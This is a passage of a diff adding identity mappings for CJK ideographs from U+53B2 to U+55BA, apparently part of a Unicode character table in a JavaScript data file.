+ ["\u53B2", "\u53B2"], /* CJK Ideograph */
+ ["\u53B3", "\u53B3"], /* CJK Ideograph */
+ ["\u53B4", "\u53B4"], /* CJK Ideograph */
+ ["\u53B5", "\u53B5"], /* CJK Ideograph */
+ ["\u53B6", "\u53B6"], /* CJK Ideograph */
+ ["\u53B7", "\u53B7"], /* CJK Ideograph */
+ ["\u53B8", "\u53B8"], /* CJK Ideograph */
+ ["\u53B9", "\u53B9"], /* CJK Ideograph */
+ ["\u53BA", "\u53BA"], /* CJK Ideograph */
+ ["\u53BB", "\u53BB"], /* CJK Ideograph */
+ ["\u53BC", "\u53BC"], /* CJK Ideograph */
+ ["\u53BD", "\u53BD"], /* CJK Ideograph */
+ ["\u53BE", "\u53BE"], /* CJK Ideograph */
+ ["\u53BF", "\u53BF"], /* CJK Ideograph */
+ ["\u53C0", "\u53C0"], /* CJK Ideograph */
+ ["\u53C1", "\u53C1"], /* CJK Ideograph */
+ ["\u53C2", "\u53C2"], /* CJK Ideograph */
+ ["\u53C3", "\u53C3"], /* CJK Ideograph */
+ ["\u53C4", "\u53C4"], /* CJK Ideograph */
+ ["\u53C5", "\u53C5"], /* CJK Ideograph */
+ ["\u53C6", "\u53C6"], /* CJK Ideograph */
+ ["\u53C7", "\u53C7"], /* CJK Ideograph */
+ ["\u53C8", "\u53C8"], /* CJK Ideograph */
+ ["\u53C9", "\u53C9"], /* CJK Ideograph */
+ ["\u53CA", "\u53CA"], /* CJK Ideograph */
+ ["\u53CB", "\u53CB"], /* CJK Ideograph */
+ ["\u53CC", "\u53CC"], /* CJK Ideograph */
+ ["\u53CD", "\u53CD"], /* CJK Ideograph */
+ ["\u53CE", "\u53CE"], /* CJK Ideograph */
+ ["\u53CF", "\u53CF"], /* CJK Ideograph */
+ ["\u53D0", "\u53D0"], /* CJK Ideograph */
+ ["\u53D1", "\u53D1"], /* CJK Ideograph */
+ ["\u53D2", "\u53D2"], /* CJK Ideograph */
+ ["\u53D3", "\u53D3"], /* CJK Ideograph */
+ ["\u53D4", "\u53D4"], /* CJK Ideograph */
+ ["\u53D5", "\u53D5"], /* CJK Ideograph */
+ ["\u53D6", "\u53D6"], /* CJK Ideograph */
+ ["\u53D7", "\u53D7"], /* CJK Ideograph */
+ ["\u53D8", "\u53D8"], /* CJK Ideograph */
+ ["\u53D9", "\u53D9"], /* CJK Ideograph */
+ ["\u53DA", "\u53DA"], /* CJK Ideograph */
+ ["\u53DB", "\u53DB"], /* CJK Ideograph */
+ ["\u53DC", "\u53DC"], /* CJK Ideograph */
+ ["\u53DD", "\u53DD"], /* CJK Ideograph */
+ ["\u53DE", "\u53DE"], /* CJK Ideograph */
+ ["\u53DF", "\u53DF"], /* CJK Ideograph */
+ ["\u53E0", "\u53E0"], /* CJK Ideograph */
+ ["\u53E1", "\u53E1"], /* CJK Ideograph */
+ ["\u53E2", "\u53E2"], /* CJK Ideograph */
+ ["\u53E3", "\u53E3"], /* CJK Ideograph */
+ ["\u53E4", "\u53E4"], /* CJK Ideograph */
+ ["\u53E5", "\u53E5"], /* CJK Ideograph */
+ ["\u53E6", "\u53E6"], /* CJK Ideograph */
+ ["\u53E7", "\u53E7"], /* CJK Ideograph */
+ ["\u53E8", "\u53E8"], /* CJK Ideograph */
+ ["\u53E9", "\u53E9"], /* CJK Ideograph */
+ ["\u53EA", "\u53EA"], /* CJK Ideograph */
+ ["\u53EB", "\u53EB"], /* CJK Ideograph */
+ ["\u53EC", "\u53EC"], /* CJK Ideograph */
+ ["\u53ED", "\u53ED"], /* CJK Ideograph */
+ ["\u53EE", "\u53EE"], /* CJK Ideograph */
+ ["\u53EF", "\u53EF"], /* CJK Ideograph */
+ ["\u53F0", "\u53F0"], /* CJK Ideograph */
+ ["\u53F1", "\u53F1"], /* CJK Ideograph */
+ ["\u53F2", "\u53F2"], /* CJK Ideograph */
+ ["\u53F3", "\u53F3"], /* CJK Ideograph */
+ ["\u53F4", "\u53F4"], /* CJK Ideograph */
+ ["\u53F5", "\u53F5"], /* CJK Ideograph */
+ ["\u53F6", "\u53F6"], /* CJK Ideograph */
+ ["\u53F7", "\u53F7"], /* CJK Ideograph */
+ ["\u53F8", "\u53F8"], /* CJK Ideograph */
+ ["\u53F9", "\u53F9"], /* CJK Ideograph */
+ ["\u53FA", "\u53FA"], /* CJK Ideograph */
+ ["\u53FB", "\u53FB"], /* CJK Ideograph */
+ ["\u53FC", "\u53FC"], /* CJK Ideograph */
+ ["\u53FD", "\u53FD"], /* CJK Ideograph */
+ ["\u53FE", "\u53FE"], /* CJK Ideograph */
+ ["\u53FF", "\u53FF"], /* CJK Ideograph */
+ ["\u5400", "\u5400"], /* CJK Ideograph */
+ ["\u5401", "\u5401"], /* CJK Ideograph */
+ ["\u5402", "\u5402"], /* CJK Ideograph */
+ ["\u5403", "\u5403"], /* CJK Ideograph */
+ ["\u5404", "\u5404"], /* CJK Ideograph */
+ ["\u5405", "\u5405"], /* CJK Ideograph */
+ ["\u5406", "\u5406"], /* CJK Ideograph */
+ ["\u5407", "\u5407"], /* CJK Ideograph */
+ ["\u5408", "\u5408"], /* CJK Ideograph */
+ ["\u5409", "\u5409"], /* CJK Ideograph */
+ ["\u540A", "\u540A"], /* CJK Ideograph */
+ ["\u540B", "\u540B"], /* CJK Ideograph */
+ ["\u540C", "\u540C"], /* CJK Ideograph */
+ ["\u540D", "\u540D"], /* CJK Ideograph */
+ ["\u540E", "\u540E"], /* CJK Ideograph */
+ ["\u540F", "\u540F"], /* CJK Ideograph */
+ ["\u5410", "\u5410"], /* CJK Ideograph */
+ ["\u5411", "\u5411"], /* CJK Ideograph */
+ ["\u5412", "\u5412"], /* CJK Ideograph */
+ ["\u5413", "\u5413"], /* CJK Ideograph */
+ ["\u5414", "\u5414"], /* CJK Ideograph */
+ ["\u5415", "\u5415"], /* CJK Ideograph */
+ ["\u5416", "\u5416"], /* CJK Ideograph */
+ ["\u5417", "\u5417"], /* CJK Ideograph */
+ ["\u5418", "\u5418"], /* CJK Ideograph */
+ ["\u5419", "\u5419"], /* CJK Ideograph */
+ ["\u541A", "\u541A"], /* CJK Ideograph */
+ ["\u541B", "\u541B"], /* CJK Ideograph */
+ ["\u541C", "\u541C"], /* CJK Ideograph */
+ ["\u541D", "\u541D"], /* CJK Ideograph */
+ ["\u541E", "\u541E"], /* CJK Ideograph */
+ ["\u541F", "\u541F"], /* CJK Ideograph */
+ ["\u5420", "\u5420"], /* CJK Ideograph */
+ ["\u5421", "\u5421"], /* CJK Ideograph */
+ ["\u5422", "\u5422"], /* CJK Ideograph */
+ ["\u5423", "\u5423"], /* CJK Ideograph */
+ ["\u5424", "\u5424"], /* CJK Ideograph */
+ ["\u5425", "\u5425"], /* CJK Ideograph */
+ ["\u5426", "\u5426"], /* CJK Ideograph */
+ ["\u5427", "\u5427"], /* CJK Ideograph */
+ ["\u5428", "\u5428"], /* CJK Ideograph */
+ ["\u5429", "\u5429"], /* CJK Ideograph */
+ ["\u542A", "\u542A"], /* CJK Ideograph */
+ ["\u542B", "\u542B"], /* CJK Ideograph */
+ ["\u542C", "\u542C"], /* CJK Ideograph */
+ ["\u542D", "\u542D"], /* CJK Ideograph */
+ ["\u542E", "\u542E"], /* CJK Ideograph */
+ ["\u542F", "\u542F"], /* CJK Ideograph */
+ ["\u5430", "\u5430"], /* CJK Ideograph */
+ ["\u5431", "\u5431"], /* CJK Ideograph */
+ ["\u5432", "\u5432"], /* CJK Ideograph */
+ ["\u5433", "\u5433"], /* CJK Ideograph */
+ ["\u5434", "\u5434"], /* CJK Ideograph */
+ ["\u5435", "\u5435"], /* CJK Ideograph */
+ ["\u5436", "\u5436"], /* CJK Ideograph */
+ ["\u5437", "\u5437"], /* CJK Ideograph */
+ ["\u5438", "\u5438"], /* CJK Ideograph */
+ ["\u5439", "\u5439"], /* CJK Ideograph */
+ ["\u543A", "\u543A"], /* CJK Ideograph */
+ ["\u543B", "\u543B"], /* CJK Ideograph */
+ ["\u543C", "\u543C"], /* CJK Ideograph */
+ ["\u543D", "\u543D"], /* CJK Ideograph */
+ ["\u543E", "\u543E"], /* CJK Ideograph */
+ ["\u543F", "\u543F"], /* CJK Ideograph */
+ ["\u5440", "\u5440"], /* CJK Ideograph */
+ ["\u5441", "\u5441"], /* CJK Ideograph */
+ ["\u5442", "\u5442"], /* CJK Ideograph */
+ ["\u5443", "\u5443"], /* CJK Ideograph */
+ ["\u5444", "\u5444"], /* CJK Ideograph */
+ ["\u5445", "\u5445"], /* CJK Ideograph */
+ ["\u5446", "\u5446"], /* CJK Ideograph */
+ ["\u5447", "\u5447"], /* CJK Ideograph */
+ ["\u5448", "\u5448"], /* CJK Ideograph */
+ ["\u5449", "\u5449"], /* CJK Ideograph */
+ ["\u544A", "\u544A"], /* CJK Ideograph */
+ ["\u544B", "\u544B"], /* CJK Ideograph */
+ ["\u544C", "\u544C"], /* CJK Ideograph */
+ ["\u544D", "\u544D"], /* CJK Ideograph */
+ ["\u544E", "\u544E"], /* CJK Ideograph */
+ ["\u544F", "\u544F"], /* CJK Ideograph */
+ ["\u5450", "\u5450"], /* CJK Ideograph */
+ ["\u5451", "\u5451"], /* CJK Ideograph */
+ ["\u5452", "\u5452"], /* CJK Ideograph */
+ ["\u5453", "\u5453"], /* CJK Ideograph */
+ ["\u5454", "\u5454"], /* CJK Ideograph */
+ ["\u5455", "\u5455"], /* CJK Ideograph */
+ ["\u5456", "\u5456"], /* CJK Ideograph */
+ ["\u5457", "\u5457"], /* CJK Ideograph */
+ ["\u5458", "\u5458"], /* CJK Ideograph */
+ ["\u5459", "\u5459"], /* CJK Ideograph */
+ ["\u545A", "\u545A"], /* CJK Ideograph */
+ ["\u545B", "\u545B"], /* CJK Ideograph */
+ ["\u545C", "\u545C"], /* CJK Ideograph */
+ ["\u545D", "\u545D"], /* CJK Ideograph */
+ ["\u545E", "\u545E"], /* CJK Ideograph */
+ ["\u545F", "\u545F"], /* CJK Ideograph */
+ ["\u5460", "\u5460"], /* CJK Ideograph */
+ ["\u5461", "\u5461"], /* CJK Ideograph */
+ ["\u5462", "\u5462"], /* CJK Ideograph */
+ ["\u5463", "\u5463"], /* CJK Ideograph */
+ ["\u5464", "\u5464"], /* CJK Ideograph */
+ ["\u5465", "\u5465"], /* CJK Ideograph */
+ ["\u5466", "\u5466"], /* CJK Ideograph */
+ ["\u5467", "\u5467"], /* CJK Ideograph */
+ ["\u5468", "\u5468"], /* CJK Ideograph */
+ ["\u5469", "\u5469"], /* CJK Ideograph */
+ ["\u546A", "\u546A"], /* CJK Ideograph */
+ ["\u546B", "\u546B"], /* CJK Ideograph */
+ ["\u546C", "\u546C"], /* CJK Ideograph */
+ ["\u546D", "\u546D"], /* CJK Ideograph */
+ ["\u546E", "\u546E"], /* CJK Ideograph */
+ ["\u546F", "\u546F"], /* CJK Ideograph */
+ ["\u5470", "\u5470"], /* CJK Ideograph */
+ ["\u5471", "\u5471"], /* CJK Ideograph */
+ ["\u5472", "\u5472"], /* CJK Ideograph */
+ ["\u5473", "\u5473"], /* CJK Ideograph */
+ ["\u5474", "\u5474"], /* CJK Ideograph */
+ ["\u5475", "\u5475"], /* CJK Ideograph */
+ ["\u5476", "\u5476"], /* CJK Ideograph */
+ ["\u5477", "\u5477"], /* CJK Ideograph */
+ ["\u5478", "\u5478"], /* CJK Ideograph */
+ ["\u5479", "\u5479"], /* CJK Ideograph */
+ ["\u547A", "\u547A"], /* CJK Ideograph */
+ ["\u547B", "\u547B"], /* CJK Ideograph */
+ ["\u547C", "\u547C"], /* CJK Ideograph */
+ ["\u547D", "\u547D"], /* CJK Ideograph */
+ ["\u547E", "\u547E"], /* CJK Ideograph */
+ ["\u547F", "\u547F"], /* CJK Ideograph */
+ ["\u5480", "\u5480"], /* CJK Ideograph */
+ ["\u5481", "\u5481"], /* CJK Ideograph */
+ ["\u5482", "\u5482"], /* CJK Ideograph */
+ ["\u5483", "\u5483"], /* CJK Ideograph */
+ ["\u5484", "\u5484"], /* CJK Ideograph */
+ ["\u5485", "\u5485"], /* CJK Ideograph */
+ ["\u5486", "\u5486"], /* CJK Ideograph */
+ ["\u5487", "\u5487"], /* CJK Ideograph */
+ ["\u5488", "\u5488"], /* CJK Ideograph */
+ ["\u5489", "\u5489"], /* CJK Ideograph */
+ ["\u548A", "\u548A"], /* CJK Ideograph */
+ ["\u548B", "\u548B"], /* CJK Ideograph */
+ ["\u548C", "\u548C"], /* CJK Ideograph */
+ ["\u548D", "\u548D"], /* CJK Ideograph */
+ ["\u548E", "\u548E"], /* CJK Ideograph */
+ ["\u548F", "\u548F"], /* CJK Ideograph */
+ ["\u5490", "\u5490"], /* CJK Ideograph */
+ ["\u5491", "\u5491"], /* CJK Ideograph */
+ ["\u5492", "\u5492"], /* CJK Ideograph */
+ ["\u5493", "\u5493"], /* CJK Ideograph */
+ ["\u5494", "\u5494"], /* CJK Ideograph */
+ ["\u5495", "\u5495"], /* CJK Ideograph */
+ ["\u5496", "\u5496"], /* CJK Ideograph */
+ ["\u5497", "\u5497"], /* CJK Ideograph */
+ ["\u5498", "\u5498"], /* CJK Ideograph */
+ ["\u5499", "\u5499"], /* CJK Ideograph */
+ ["\u549A", "\u549A"], /* CJK Ideograph */
+ ["\u549B", "\u549B"], /* CJK Ideograph */
+ ["\u549C", "\u549C"], /* CJK Ideograph */
+ ["\u549D", "\u549D"], /* CJK Ideograph */
+ ["\u549E", "\u549E"], /* CJK Ideograph */
+ ["\u549F", "\u549F"], /* CJK Ideograph */
+ ["\u54A0", "\u54A0"], /* CJK Ideograph */
+ ["\u54A1", "\u54A1"], /* CJK Ideograph */
+ ["\u54A2", "\u54A2"], /* CJK Ideograph */
+ ["\u54A3", "\u54A3"], /* CJK Ideograph */
+ ["\u54A4", "\u54A4"], /* CJK Ideograph */
+ ["\u54A5", "\u54A5"], /* CJK Ideograph */
+ ["\u54A6", "\u54A6"], /* CJK Ideograph */
+ ["\u54A7", "\u54A7"], /* CJK Ideograph */
+ ["\u54A8", "\u54A8"], /* CJK Ideograph */
+ ["\u54A9", "\u54A9"], /* CJK Ideograph */
+ ["\u54AA", "\u54AA"], /* CJK Ideograph */
+ ["\u54AB", "\u54AB"], /* CJK Ideograph */
+ ["\u54AC", "\u54AC"], /* CJK Ideograph */
+ ["\u54AD", "\u54AD"], /* CJK Ideograph */
+ ["\u54AE", "\u54AE"], /* CJK Ideograph */
+ ["\u54AF", "\u54AF"], /* CJK Ideograph */
+ ["\u54B0", "\u54B0"], /* CJK Ideograph */
+ ["\u54B1", "\u54B1"], /* CJK Ideograph */
+ ["\u54B2", "\u54B2"], /* CJK Ideograph */
+ ["\u54B3", "\u54B3"], /* CJK Ideograph */
+ ["\u54B4", "\u54B4"], /* CJK Ideograph */
+ ["\u54B5", "\u54B5"], /* CJK Ideograph */
+ ["\u54B6", "\u54B6"], /* CJK Ideograph */
+ ["\u54B7", "\u54B7"], /* CJK Ideograph */
+ ["\u54B8", "\u54B8"], /* CJK Ideograph */
+ ["\u54B9", "\u54B9"], /* CJK Ideograph */
+ ["\u54BA", "\u54BA"], /* CJK Ideograph */
+ ["\u54BB", "\u54BB"], /* CJK Ideograph */
+ ["\u54BC", "\u54BC"], /* CJK Ideograph */
+ ["\u54BD", "\u54BD"], /* CJK Ideograph */
+ ["\u54BE", "\u54BE"], /* CJK Ideograph */
+ ["\u54BF", "\u54BF"], /* CJK Ideograph */
+ ["\u54C0", "\u54C0"], /* CJK Ideograph */
+ ["\u54C1", "\u54C1"], /* CJK Ideograph */
+ ["\u54C2", "\u54C2"], /* CJK Ideograph */
+ ["\u54C3", "\u54C3"], /* CJK Ideograph */
+ ["\u54C4", "\u54C4"], /* CJK Ideograph */
+ ["\u54C5", "\u54C5"], /* CJK Ideograph */
+ ["\u54C6", "\u54C6"], /* CJK Ideograph */
+ ["\u54C7", "\u54C7"], /* CJK Ideograph */
+ ["\u54C8", "\u54C8"], /* CJK Ideograph */
+ ["\u54C9", "\u54C9"], /* CJK Ideograph */
+ ["\u54CA", "\u54CA"], /* CJK Ideograph */
+ ["\u54CB", "\u54CB"], /* CJK Ideograph */
+ ["\u54CC", "\u54CC"], /* CJK Ideograph */
+ ["\u54CD", "\u54CD"], /* CJK Ideograph */
+ ["\u54CE", "\u54CE"], /* CJK Ideograph */
+ ["\u54CF", "\u54CF"], /* CJK Ideograph */
+ ["\u54D0", "\u54D0"], /* CJK Ideograph */
+ ["\u54D1", "\u54D1"], /* CJK Ideograph */
+ ["\u54D2", "\u54D2"], /* CJK Ideograph */
+ ["\u54D3", "\u54D3"], /* CJK Ideograph */
+ ["\u54D4", "\u54D4"], /* CJK Ideograph */
+ ["\u54D5", "\u54D5"], /* CJK Ideograph */
+ ["\u54D6", "\u54D6"], /* CJK Ideograph */
+ ["\u54D7", "\u54D7"], /* CJK Ideograph */
+ ["\u54D8", "\u54D8"], /* CJK Ideograph */
+ ["\u54D9", "\u54D9"], /* CJK Ideograph */
+ ["\u54DA", "\u54DA"], /* CJK Ideograph */
+ ["\u54DB", "\u54DB"], /* CJK Ideograph */
+ ["\u54DC", "\u54DC"], /* CJK Ideograph */
+ ["\u54DD", "\u54DD"], /* CJK Ideograph */
+ ["\u54DE", "\u54DE"], /* CJK Ideograph */
+ ["\u54DF", "\u54DF"], /* CJK Ideograph */
+ ["\u54E0", "\u54E0"], /* CJK Ideograph */
+ ["\u54E1", "\u54E1"], /* CJK Ideograph */
+ ["\u54E2", "\u54E2"], /* CJK Ideograph */
+ ["\u54E3", "\u54E3"], /* CJK Ideograph */
+ ["\u54E4", "\u54E4"], /* CJK Ideograph */
+ ["\u54E5", "\u54E5"], /* CJK Ideograph */
+ ["\u54E6", "\u54E6"], /* CJK Ideograph */
+ ["\u54E7", "\u54E7"], /* CJK Ideograph */
+ ["\u54E8", "\u54E8"], /* CJK Ideograph */
+ ["\u54E9", "\u54E9"], /* CJK Ideograph */
+ ["\u54EA", "\u54EA"], /* CJK Ideograph */
+ ["\u54EB", "\u54EB"], /* CJK Ideograph */
+ ["\u54EC", "\u54EC"], /* CJK Ideograph */
+ ["\u54ED", "\u54ED"], /* CJK Ideograph */
+ ["\u54EE", "\u54EE"], /* CJK Ideograph */
+ ["\u54EF", "\u54EF"], /* CJK Ideograph */
+ ["\u54F0", "\u54F0"], /* CJK Ideograph */
+ ["\u54F1", "\u54F1"], /* CJK Ideograph */
+ ["\u54F2", "\u54F2"], /* CJK Ideograph */
+ ["\u54F3", "\u54F3"], /* CJK Ideograph */
+ ["\u54F4", "\u54F4"], /* CJK Ideograph */
+ ["\u54F5", "\u54F5"], /* CJK Ideograph */
+ ["\u54F6", "\u54F6"], /* CJK Ideograph */
+ ["\u54F7", "\u54F7"], /* CJK Ideograph */
+ ["\u54F8", "\u54F8"], /* CJK Ideograph */
+ ["\u54F9", "\u54F9"], /* CJK Ideograph */
+ ["\u54FA", "\u54FA"], /* CJK Ideograph */
+ ["\u54FB", "\u54FB"], /* CJK Ideograph */
+ ["\u54FC", "\u54FC"], /* CJK Ideograph */
+ ["\u54FD", "\u54FD"], /* CJK Ideograph */
+ ["\u54FE", "\u54FE"], /* CJK Ideograph */
+ ["\u54FF", "\u54FF"], /* CJK Ideograph */
+ ["\u5500", "\u5500"], /* CJK Ideograph */
+ ["\u5501", "\u5501"], /* CJK Ideograph */
+ ["\u5502", "\u5502"], /* CJK Ideograph */
+ ["\u5503", "\u5503"], /* CJK Ideograph */
+ ["\u5504", "\u5504"], /* CJK Ideograph */
+ ["\u5505", "\u5505"], /* CJK Ideograph */
+ ["\u5506", "\u5506"], /* CJK Ideograph */
+ ["\u5507", "\u5507"], /* CJK Ideograph */
+ ["\u5508", "\u5508"], /* CJK Ideograph */
+ ["\u5509", "\u5509"], /* CJK Ideograph */
+ ["\u550A", "\u550A"], /* CJK Ideograph */
+ ["\u550B", "\u550B"], /* CJK Ideograph */
+ ["\u550C", "\u550C"], /* CJK Ideograph */
+ ["\u550D", "\u550D"], /* CJK Ideograph */
+ ["\u550E", "\u550E"], /* CJK Ideograph */
+ ["\u550F", "\u550F"], /* CJK Ideograph */
+ ["\u5510", "\u5510"], /* CJK Ideograph */
+ ["\u5511", "\u5511"], /* CJK Ideograph */
+ ["\u5512", "\u5512"], /* CJK Ideograph */
+ ["\u5513", "\u5513"], /* CJK Ideograph */
+ ["\u5514", "\u5514"], /* CJK Ideograph */
+ ["\u5515", "\u5515"], /* CJK Ideograph */
+ ["\u5516", "\u5516"], /* CJK Ideograph */
+ ["\u5517", "\u5517"], /* CJK Ideograph */
+ ["\u5518", "\u5518"], /* CJK Ideograph */
+ ["\u5519", "\u5519"], /* CJK Ideograph */
+ ["\u551A", "\u551A"], /* CJK Ideograph */
+ ["\u551B", "\u551B"], /* CJK Ideograph */
+ ["\u551C", "\u551C"], /* CJK Ideograph */
+ ["\u551D", "\u551D"], /* CJK Ideograph */
+ ["\u551E", "\u551E"], /* CJK Ideograph */
+ ["\u551F", "\u551F"], /* CJK Ideograph */
+ ["\u5520", "\u5520"], /* CJK Ideograph */
+ ["\u5521", "\u5521"], /* CJK Ideograph */
+ ["\u5522", "\u5522"], /* CJK Ideograph */
+ ["\u5523", "\u5523"], /* CJK Ideograph */
+ ["\u5524", "\u5524"], /* CJK Ideograph */
+ ["\u5525", "\u5525"], /* CJK Ideograph */
+ ["\u5526", "\u5526"], /* CJK Ideograph */
+ ["\u5527", "\u5527"], /* CJK Ideograph */
+ ["\u5528", "\u5528"], /* CJK Ideograph */
+ ["\u5529", "\u5529"], /* CJK Ideograph */
+ ["\u552A", "\u552A"], /* CJK Ideograph */
+ ["\u552B", "\u552B"], /* CJK Ideograph */
+ ["\u552C", "\u552C"], /* CJK Ideograph */
+ ["\u552D", "\u552D"], /* CJK Ideograph */
+ ["\u552E", "\u552E"], /* CJK Ideograph */
+ ["\u552F", "\u552F"], /* CJK Ideograph */
+ ["\u5530", "\u5530"], /* CJK Ideograph */
+ ["\u5531", "\u5531"], /* CJK Ideograph */
+ ["\u5532", "\u5532"], /* CJK Ideograph */
+ ["\u5533", "\u5533"], /* CJK Ideograph */
+ ["\u5534", "\u5534"], /* CJK Ideograph */
+ ["\u5535", "\u5535"], /* CJK Ideograph */
+ ["\u5536", "\u5536"], /* CJK Ideograph */
+ ["\u5537", "\u5537"], /* CJK Ideograph */
+ ["\u5538", "\u5538"], /* CJK Ideograph */
+ ["\u5539", "\u5539"], /* CJK Ideograph */
+ ["\u553A", "\u553A"], /* CJK Ideograph */
+ ["\u553B", "\u553B"], /* CJK Ideograph */
+ ["\u553C", "\u553C"], /* CJK Ideograph */
+ ["\u553D", "\u553D"], /* CJK Ideograph */
+ ["\u553E", "\u553E"], /* CJK Ideograph */
+ ["\u553F", "\u553F"], /* CJK Ideograph */
+ ["\u5540", "\u5540"], /* CJK Ideograph */
+ ["\u5541", "\u5541"], /* CJK Ideograph */
+ ["\u5542", "\u5542"], /* CJK Ideograph */
+ ["\u5543", "\u5543"], /* CJK Ideograph */
+ ["\u5544", "\u5544"], /* CJK Ideograph */
+ ["\u5545", "\u5545"], /* CJK Ideograph */
+ ["\u5546", "\u5546"], /* CJK Ideograph */
+ ["\u5547", "\u5547"], /* CJK Ideograph */
+ ["\u5548", "\u5548"], /* CJK Ideograph */
+ ["\u5549", "\u5549"], /* CJK Ideograph */
+ ["\u554A", "\u554A"], /* CJK Ideograph */
+ ["\u554B", "\u554B"], /* CJK Ideograph */
+ ["\u554C", "\u554C"], /* CJK Ideograph */
+ ["\u554D", "\u554D"], /* CJK Ideograph */
+ ["\u554E", "\u554E"], /* CJK Ideograph */
+ ["\u554F", "\u554F"], /* CJK Ideograph */
+ ["\u5550", "\u5550"], /* CJK Ideograph */
+ ["\u5551", "\u5551"], /* CJK Ideograph */
+ ["\u5552", "\u5552"], /* CJK Ideograph */
+ ["\u5553", "\u5553"], /* CJK Ideograph */
+ ["\u5554", "\u5554"], /* CJK Ideograph */
+ ["\u5555", "\u5555"], /* CJK Ideograph */
+ ["\u5556", "\u5556"], /* CJK Ideograph */
+ ["\u5557", "\u5557"], /* CJK Ideograph */
+ ["\u5558", "\u5558"], /* CJK Ideograph */
+ ["\u5559", "\u5559"], /* CJK Ideograph */
+ ["\u555A", "\u555A"], /* CJK Ideograph */
+ ["\u555B", "\u555B"], /* CJK Ideograph */
+ ["\u555C", "\u555C"], /* CJK Ideograph */
+ ["\u555D", "\u555D"], /* CJK Ideograph */
+ ["\u555E", "\u555E"], /* CJK Ideograph */
+ ["\u555F", "\u555F"], /* CJK Ideograph */
+ ["\u5560", "\u5560"], /* CJK Ideograph */
+ ["\u5561", "\u5561"], /* CJK Ideograph */
+ ["\u5562", "\u5562"], /* CJK Ideograph */
+ ["\u5563", "\u5563"], /* CJK Ideograph */
+ ["\u5564", "\u5564"], /* CJK Ideograph */
+ ["\u5565", "\u5565"], /* CJK Ideograph */
+ ["\u5566", "\u5566"], /* CJK Ideograph */
+ ["\u5567", "\u5567"], /* CJK Ideograph */
+ ["\u5568", "\u5568"], /* CJK Ideograph */
+ ["\u5569", "\u5569"], /* CJK Ideograph */
+ ["\u556A", "\u556A"], /* CJK Ideograph */
+ ["\u556B", "\u556B"], /* CJK Ideograph */
+ ["\u556C", "\u556C"], /* CJK Ideograph */
+ ["\u556D", "\u556D"], /* CJK Ideograph */
+ ["\u556E", "\u556E"], /* CJK Ideograph */
+ ["\u556F", "\u556F"], /* CJK Ideograph */
+ ["\u5570", "\u5570"], /* CJK Ideograph */
+ ["\u5571", "\u5571"], /* CJK Ideograph */
+ ["\u5572", "\u5572"], /* CJK Ideograph */
+ ["\u5573", "\u5573"], /* CJK Ideograph */
+ ["\u5574", "\u5574"], /* CJK Ideograph */
+ ["\u5575", "\u5575"], /* CJK Ideograph */
+ ["\u5576", "\u5576"], /* CJK Ideograph */
+ ["\u5577", "\u5577"], /* CJK Ideograph */
+ ["\u5578", "\u5578"], /* CJK Ideograph */
+ ["\u5579", "\u5579"], /* CJK Ideograph */
+ ["\u557A", "\u557A"], /* CJK Ideograph */
+ ["\u557B", "\u557B"], /* CJK Ideograph */
+ ["\u557C", "\u557C"], /* CJK Ideograph */
+ ["\u557D", "\u557D"], /* CJK Ideograph */
+ ["\u557E", "\u557E"], /* CJK Ideograph */
+ ["\u557F", "\u557F"], /* CJK Ideograph */
+ ["\u5580", "\u5580"], /* CJK Ideograph */
+ ["\u5581", "\u5581"], /* CJK Ideograph */
+ ["\u5582", "\u5582"], /* CJK Ideograph */
+ ["\u5583", "\u5583"], /* CJK Ideograph */
+ ["\u5584", "\u5584"], /* CJK Ideograph */
+ ["\u5585", "\u5585"], /* CJK Ideograph */
+ ["\u5586", "\u5586"], /* CJK Ideograph */
+ ["\u5587", "\u5587"], /* CJK Ideograph */
+ ["\u5588", "\u5588"], /* CJK Ideograph */
+ ["\u5589", "\u5589"], /* CJK Ideograph */
+ ["\u558A", "\u558A"], /* CJK Ideograph */
+ ["\u558B", "\u558B"], /* CJK Ideograph */
+ ["\u558C", "\u558C"], /* CJK Ideograph */
+ ["\u558D", "\u558D"], /* CJK Ideograph */
+ ["\u558E", "\u558E"], /* CJK Ideograph */
+ ["\u558F", "\u558F"], /* CJK Ideograph */
+ ["\u5590", "\u5590"], /* CJK Ideograph */
+ ["\u5591", "\u5591"], /* CJK Ideograph */
+ ["\u5592", "\u5592"], /* CJK Ideograph */
+ ["\u5593", "\u5593"], /* CJK Ideograph */
+ ["\u5594", "\u5594"], /* CJK Ideograph */
+ ["\u5595", "\u5595"], /* CJK Ideograph */
+ ["\u5596", "\u5596"], /* CJK Ideograph */
+ ["\u5597", "\u5597"], /* CJK Ideograph */
+ ["\u5598", "\u5598"], /* CJK Ideograph */
+ ["\u5599", "\u5599"], /* CJK Ideograph */
+ ["\u559A", "\u559A"], /* CJK Ideograph */
+ ["\u559B", "\u559B"], /* CJK Ideograph */
+ ["\u559C", "\u559C"], /* CJK Ideograph */
+ ["\u559D", "\u559D"], /* CJK Ideograph */
+ ["\u559E", "\u559E"], /* CJK Ideograph */
+ ["\u559F", "\u559F"], /* CJK Ideograph */
+ ["\u55A0", "\u55A0"], /* CJK Ideograph */
+ ["\u55A1", "\u55A1"], /* CJK Ideograph */
+ ["\u55A2", "\u55A2"], /* CJK Ideograph */
+ ["\u55A3", "\u55A3"], /* CJK Ideograph */
+ ["\u55A4", "\u55A4"], /* CJK Ideograph */
+ ["\u55A5", "\u55A5"], /* CJK Ideograph */
+ ["\u55A6", "\u55A6"], /* CJK Ideograph */
+ ["\u55A7", "\u55A7"], /* CJK Ideograph */
+ ["\u55A8", "\u55A8"], /* CJK Ideograph */
+ ["\u55A9", "\u55A9"], /* CJK Ideograph */
+ ["\u55AA", "\u55AA"], /* CJK Ideograph */
+ ["\u55AB", "\u55AB"], /* CJK Ideograph */
+ ["\u55AC", "\u55AC"], /* CJK Ideograph */
+ ["\u55AD", "\u55AD"], /* CJK Ideograph */
+ ["\u55AE", "\u55AE"], /* CJK Ideograph */
+ ["\u55AF", "\u55AF"], /* CJK Ideograph */
+ ["\u55B0", "\u55B0"], /* CJK Ideograph */
+ ["\u55B1", "\u55B1"], /* CJK Ideograph */
+ ["\u55B2", "\u55B2"], /* CJK Ideograph */
+ ["\u55B3", "\u55B3"], /* CJK Ideograph */
+ ["\u55B4", "\u55B4"], /* CJK Ideograph */
+ ["\u55B5", "\u55B5"], /* CJK Ideograph */
+ ["\u55B6", "\u55B6"], /* CJK Ideograph */
+ ["\u55B7", "\u55B7"], /* CJK Ideograph */
+ ["\u55B8", "\u55B8"], /* CJK Ideograph */
+ ["\u55B9", "\u55B9"], /* CJK Ideograph */
+ ["\u55BA", "\u55BA"], /* CJK Ideograph */
